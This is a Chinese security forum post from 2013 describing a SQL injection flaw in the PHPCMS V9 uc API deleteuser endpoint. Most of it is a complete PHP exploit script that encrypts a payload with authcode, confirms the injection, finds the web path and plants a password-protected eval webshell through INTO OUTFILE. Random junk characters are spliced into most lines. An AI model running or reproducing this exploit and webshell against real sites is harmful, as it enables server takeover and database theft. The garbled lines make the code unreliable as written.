找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2024|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
9 r$ \; B- S. U* @- ^9 I/ _$ {: p
/ s9 B/ _3 R2 b; P3 J# K- Z4 M所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* m4 q8 t# D* ]% G. [9 ?& J) c
: y8 O( d( i; w' K7 q
漏洞分析:& ~( U! |6 [7 Z# Y
1.未启用ucenter服务的情况下uc_key为空6 g  o! J6 w3 D( z5 j6 O% \- E
define('UC_KEY', pc_base::load_config('system', 'uc_key'));$ G5 b5 v( h8 d* n6 g
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。& G1 e. }9 `/ p2 e2 f
    public function deleteuser($get,$post) {
  r% j" ~. t9 i% M0 J+ L        pc_base::load_app_func('global', 'admin');6 n* y$ @& K# X- h) {: P  N
        pc_base::load_app_class('messagequeue', 'admin' , 0);. r0 I7 i) S- E0 d4 ~
        $ids = new_stripslashes($get['ids']);( O# a% f) \* D
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
0 T, _& H' q) n& fSQL语句为
1 \) f3 c; l( ?2 m8 O# y0 bSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
: C" Q* s  n% G
/ X$ g) f$ o6 i9 r4 t3 l利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, q4 a: \0 h9 r- G6 S5 l. M
<?php0 ^2 H6 F: t* L. B: q5 P8 ?
print_r('
& d& T. Z+ P; I- V$ x; ^! {! S% I& h* `---------------------------------------------------------------------------
: Q/ h( f9 r6 E. n; xPHPcms (v9 or Old Version) uc api sql injection 0day
9 o4 o- G. H$ Z3 x; N# V+ sby rayh4c#80sec.com
, d2 d. Z8 e+ p% m; K4 w---------------------------------------------------------------------------# A' Q. [5 @% Q  X2 z# z8 e7 M
');
2 @" r" @6 n! t
/ H4 D7 I7 o& B; J, wif ($argc<3) {- ?: c7 `0 T, E& a+ o
    print_r(': E( T6 _. {5 I* K) i5 T! d
---------------------------------------------------------------------------
, @' c  s! S8 b; [6 ^6 \: y% A4 h+ N! }$ ^. LUsage: php '.$argv[0].' host path OPTIONS: q) `9 p9 [: I6 \5 Z- \, D- I
host:      target server (ip/hostname)
# ~6 G9 p% K& F, l# e; apath:      path to phpcms
3 S  E( p) u- @% a6 Z% nOptions:4 v% b7 x* a1 ~1 R0 ^8 m- Q
-p[port]:    specify a port other than 80- u5 Q, S3 e. I9 Z
-P[ip:port]: specify a proxy
3 g! l1 J  O: `! XExample:2 X9 \% q( q2 R; v6 R' ]2 X
php '.$argv[0].' localhost /
+ U& j& ~1 `9 }# Tphp '.$argv[0].' localhost /phpcms/ -p81
6 P4 O, W" `2 l3 }" g1 aphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; }6 r3 U7 c- V) q4 S2 _8 M. C---------------------------------------------------------------------------+ X, o5 l) w8 B& N/ k2 K
');
2 }- z2 ~7 q! i: g: J    die;, ~  \# S4 J: Z  _/ c+ R
}/ w+ E- d$ l7 l
/ _0 P0 J: g9 o+ D3 N2 P6 I
error_reporting(7);( m' v# R, m( L; e3 g
ini_set("max_execution_time",0);
$ {4 p$ {- |. R& ?2 v! W9 Bini_set("default_socket_timeout",5);+ ]; v$ C( @$ ^+ ?# K

! v9 J# F+ f0 F) s7 x$ k) F, L( x6 Qfunction quick_dump($string)
  H( T8 {. c" |9 d, o: Y{7 P) {  a( q" H' s5 o+ L" r
  $result='';$exa='';$cont=0;! k. T  e; a+ i% p$ h9 [9 h7 _
  for ($i=0; $i<=strlen($string)-1; $i++). E5 \" J( I' J) d8 H/ k/ M% p
  {9 |/ x  M/ q7 p  E
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
6 {0 X  r4 o5 s/ v: c2 H   {$result.="  .";}+ F7 [$ r. l# F4 S/ Z: G: c! h
   else
  H3 G) _% w. T; ]- j   {$result.="  ".$string[$i];}
( S/ `* V, ?8 h' v# B   if (strlen(dechex(ord($string[$i])))==2)
% ?& t" ^* u5 ^/ z# s) w   {$exa.=" ".dechex(ord($string[$i]));}
8 e5 K( u2 d9 }   else; R1 q* }" `. V. j: D  Z; F, F/ ?% C
   {$exa.=" 0".dechex(ord($string[$i]));}
! Y. s( B1 G$ L8 j   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
. g. ~# ]0 y+ Z* w) [4 s; ~4 {  }
, D/ S& i) E3 n) _1 }' } return $exa."\r\n".$result;
, m$ Q4 B9 d; q1 m6 Q+ G9 s4 w}
- S& U& z& u9 G& C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';! [( O2 q! E6 \1 V9 v5 k! Q! E
+ i$ W6 D$ i) o# a% X1 y% b6 @
function send($packet), ?: z, l: _  ?$ f* X
{
0 A; B" C( X9 C9 o$ O2 g  global $proxy, $host, $port, $html, $proxy_regex;
" W" D1 p* r( ?  if ($proxy=='') {
7 ]% v+ k4 a9 [7 O  x0 M    $ock=fsockopen(gethostbyname($host),$port);# F8 b  S  l& f7 E* M1 y" Y
    if (!$ock) {1 x. k2 ]5 u% u0 ]) Q
      echo 'No response from '.$host.':'.$port; die;
- l7 S/ X4 u: |7 Q0 g    }1 ~0 M" {9 @& N6 v" g, R! M6 v% w
  }8 c- Z6 E1 H# m1 p8 M  t0 R
  else {
0 E4 ~& {8 X4 c9 A! Z% y- J        $c = preg_match($proxy_regex,$proxy);) \( E; e% {8 W; Z3 `# m
    if (!$c) {& j' {: r+ \; h0 R4 p
      echo 'Not a valid proxy...';die;
4 k5 k( f0 z5 k3 Y- ?( ~' s( a" _    }8 G; z) _+ \5 T: }8 \6 h+ V7 h
    $parts=explode(':',$proxy);
# e8 f6 G# Z3 E/ C1 E2 z    $parts[1]=(int)$parts[1];
- |9 Z* t: A9 G- k5 I$ a    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";8 e: V+ V2 o  i% `# R" v5 {# x+ T
    $ock=fsockopen($parts[0],$parts[1]);
, a3 C3 r/ I6 b& g    if (!$ock) {
; ?+ i2 X/ X; ~5 Y( B& j  K3 o      echo 'No response from proxy...';die;- v) V$ I+ d& P# u1 d
        }( |2 O- |8 S& s/ a# U/ _
  }' K: a4 M# w, e
  fputs($ock,$packet);
6 v- D/ o/ s- f2 W2 P2 P  if ($proxy=='') {
, r; X/ |5 e" K( u# u    $html='';
' i4 x1 U/ q* b1 `" V' A    while (!feof($ock)) {) u* ]2 b* T, F$ Q. p% ~
      $html.=fgets($ock);# Z0 l1 [* X4 d3 C2 F6 d7 Z6 j+ k: A
    }
7 g" O- z# O. W: p8 [" W  }- ?  u9 \/ B, Q" V- A. C( J+ m- @
  else {
. |5 H, Y1 O" O    $html='';) G% T/ B) X* }" ?4 Z2 p% n  W; K; O7 {2 z
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% X0 y% u, _' h! m! c$ P
      $html.=fread($ock,1);
& l3 b' n: C8 P    }
! H4 A, h: z0 U0 G! K  }
9 X* @$ e4 R; E  fclose($ock);
/ c& V! ?" h4 _$ C2 K: P' s% S}
9 |& d8 G0 g* D* Q8 \
2 ]% @7 A% K5 B( a3 x$host=$argv[1];
% U7 p. Z" d+ u& l, v, F  D$path=$argv[2];
* V: E; }6 O7 ^( S2 `" H1 }+ |$port=80;
$ c, ?6 q7 m# ^- T- y# d7 T$proxy="";) B% [. ?. b. O/ M# Y% ~) ]9 `
for ($i=3; $i<$argc; $i++){
' W8 V  e$ ~9 ?9 U, R( l' n$temp=$argv[$i][0].$argv[$i][1];9 A/ Q. ?8 V) B- d4 g
if ($temp=="-p")5 w$ e! V: t: x
{
8 a1 G. t! W+ K4 A$ ^  $port=(int)str_replace("-p","",$argv[$i]);
& B% ?9 k' u! X" F# B}
. }/ N9 y* a' M; c9 _if ($temp=="-P")# b0 F2 Q- X' a1 P! w
{( L5 Y0 R" r/ z2 N3 V9 D$ h
  $proxy=str_replace("-P","",$argv[$i]);
) M0 p; L. b: W: E( X}# D) Q2 m) y2 ]- c7 |
}
9 M5 L! _9 c9 O* e( |7 A6 w4 T; i$ M4 r3 H# s
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}4 N6 j: u0 q# ?! V9 T& K( g
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}/ t. r+ Y# z* p
  \3 e8 Q+ X; \0 Y
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {  M% Z1 S- x% c# h" U# b

; X6 ^2 J% z5 l4 ]    $ckey_length = 4;
2 B1 K, T- ~' t, L2 ~0 l6 C9 f2 r) i/ D/ m( K
    $key = md5($key ? $key : '');
$ i4 b1 q6 M) U. H( X    $keya = md5(substr($key, 0, 16));
; f8 Y5 D* X4 v/ |    $keyb = md5(substr($key, 16, 16));1 e9 H4 i- a9 p8 b; `, ^6 A
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
+ h! ]! ]5 g- h4 z
( ]! A2 h* P) S) w! w4 W6 f; `    $cryptkey = $keya.md5($keya.$keyc);
4 {2 y. S' y- ?    $key_length = strlen($cryptkey);5 u; ]& q( u  `  s, a& g+ c9 x

% O: p7 `7 c: G# n    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
* S+ y2 c" t  \6 L3 ]    $string_length = strlen($string);' E: u+ H( R6 @) \# k

3 R# r* d! l* n' Z6 |. U    $result = '';
6 h5 ~' D& M3 ~% k    $box = range(0, 255);
8 V+ o3 B3 E  {; f: J- E1 r$ k" f  g* v; d/ [4 v; N
    $rndkey = array();3 G) M7 v$ e" f- v  f7 e
    for($i = 0; $i <= 255; $i++) {: Y8 O7 o6 g) ~+ m! c5 d9 c
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
- |8 G  g3 D) U5 n    }* Z* B" d+ \; ]8 N! T: I. ?

3 F0 r0 d+ _) u" F    for($j = $i = 0; $i < 256; $i++) {7 }3 k. e' g4 y; s1 E9 D4 L# ?
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
& l& q9 r; F8 W        $tmp = $box[$i];
8 b9 J0 T+ Y2 w7 b        $box[$i] = $box[$j];* N8 l0 d, b2 }/ C+ s6 \' Y
        $box[$j] = $tmp;; ?/ W, q& s$ U' [5 z, r
    }6 h. a0 D, K8 ?
8 N( @6 }& \4 h) N2 l+ V
    for($a = $j = $i = 0; $i < $string_length; $i++) {
9 F, G1 s; n6 {( g0 I        $a = ($a + 1) % 256;
+ ?; |& Y# {9 L3 b+ }# a( R        $j = ($j + $box[$a]) % 256;7 F+ ]5 l) ^, ^
        $tmp = $box[$a];3 e0 K, |2 I: s" W2 a5 Z
        $box[$a] = $box[$j];
: K: M; ~" Y. |3 `: b6 G        $box[$j] = $tmp;2 `6 e. f- K1 g, l5 R& p
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
# M" A9 C, n2 \# s    }) a" E4 W1 x, S
7 r; e/ C4 i! w) b
    if($operation == 'DECODE') {, q* e/ S& q# u% R
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 n+ T. |$ i# y, D4 n
            return substr($result, 26);
0 V) k0 G, p9 N( c        } else {5 X: M( Q2 X! U+ i8 X7 N
            return '';6 f% V# q: @. c6 g. Y3 W4 e
        }5 r$ K  A. S, q+ W
    } else {( V# D. Y& m4 c+ L8 r
        return $keyc.str_replace('=', '', base64_encode($result));. `+ h+ ]1 Y% v7 @/ u9 O9 |) }
    }/ r0 U8 j7 `9 B3 M; E0 t; J/ {. A% a

) ^" ?& m4 G0 L8 C3 q& G}
+ j8 v4 ?; W7 M8 b# Z) ~7 H; G; [( D  l( {
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( g: Z. k' g, z; d  y+ [( E7 c5 a$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 _0 j* k9 a* Q6 B# a
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
9 m: ^( A$ S0 r( c6 I$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 l0 n0 m+ ?+ h( v, I
$packet.="User-Agent: Mozilla/5.0\r\n";- [1 T9 h! _1 M7 l" a( o
$packet.="Host: ".$host."\r\n";
  N  R& Q3 g# p. A2 o5 ]$packet.="Connection: Close\r\n\r\n";
4 ~/ V3 {' p. }3 ]# ^send($packet);1 u8 j- T7 x: ~. _
if(strpos($html,"MySQL Errno") > 0){2 k; K8 E3 c3 S! y! ]% `
echo "[2] 发现存在SQL注入漏洞"."\n";
  w# ?7 d2 |" [7 I& Decho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";, v* q# B. k, O. a& ]  u
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";+ `7 h  i9 p4 H" F: ]
$packet.="User-Agent: Mozilla/5.0\r\n";
0 r8 W6 A; X$ r! o& y/ Q% }% x$packet.="Host: ".$host."\r\n";
) j9 b$ ?' I" R5 _, P$packet.="Connection: Close\r\n\r\n";
& Y6 y3 b7 T, E$ y8 l+ ]send($packet);
/ \% w% [0 L+ jpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);+ Y' ?1 `  u7 n# Z
//print_r($matches);
% E+ |9 S9 `3 `- N- sif(!empty($matches)){5 W) q, w" F7 B3 J+ }+ H7 g1 F
echo "[4] 得到web路径 " . $matches[0]."\n";4 C) o; e3 s" T2 B$ e
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";; \9 C+ d9 y8 ^$ T+ u3 h$ g
$SQL = "time=999999999999999999999999&ids=1)";
) R4 r/ j; \9 g( |' N" D; a$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- N0 q" ]3 X2 N' F, a7 O6 s
$SQL.="&action=deleteuser";
. L$ |: l& \8 x, A* }/ |$SQL = urlencode(authcode($SQL, "ENCODE", ""));  w7 h. l' }/ ]# p3 v
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
/ D: k8 I1 T$ @8 k4 V: w# [5 ?$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# _8 U6 I1 t9 S, `) d$packet.="User-Agent: Mozilla/5.0\r\n";
/ |) S2 }. M7 @, y1 [' g- D$packet.="Host: ".$host."\r\n";
- L, }6 ?. F8 s0 H+ v1 Y% D' _0 R$packet.="Connection: Close\r\n\r\n";
9 y4 D6 Y- K4 e( v# L- msend($packet);6 s  O& B2 W4 P' Q
if(strpos($html,"Access denied") > 0){9 u, W; M* y7 O, T9 ?
echo "[-] MYSQL权限过低 禁止写入文件 ";
* I% s$ B. }+ a; ]5 n# Ddie;
3 N6 C) y) _; f2 Q! e' X}& I! S, _8 Z( i1 O4 m
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";# Y0 ?+ Q! u2 t7 p
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";1 R+ R: p3 e3 C- w
$packet.="User-Agent: Mozilla/5.0\r\n";. J7 f4 \- S  D1 S2 `
$packet.="Host: ".$host."\r\n";7 W- {* P; v: n+ v9 Q
$packet.="Connection: Close\r\n\r\n";
7 c: W$ q+ d; f1 u' Z! @+ v. b( Gsend($packet);
$ y& u: B" r: l2 H4 Oif(strpos($html,"<title>phpinfo()</title>") > 0){; J* m5 H1 T4 {0 Z6 e
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" T& N% g8 c! ^5 Q}
" i/ M3 L$ R& K! K4 v' w. v$ E4 V}else{
. o) n; j! U3 ~; C! R0 Kecho "[-]未取到web路径 ";. E# c/ l) _5 Q
}  F# B) k$ E  Z
}else{9 s- H9 g2 y* O! K& h! f# y
echo "[*]不存在SQL注入漏洞"."\n";4 B3 x" c7 d1 C6 ~' V7 |
}# J& T, B# y  V) i# B5 {

: w! [9 z  l' g3 {' N3 N4 |?>+ t9 |/ O& {" M! ~6 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表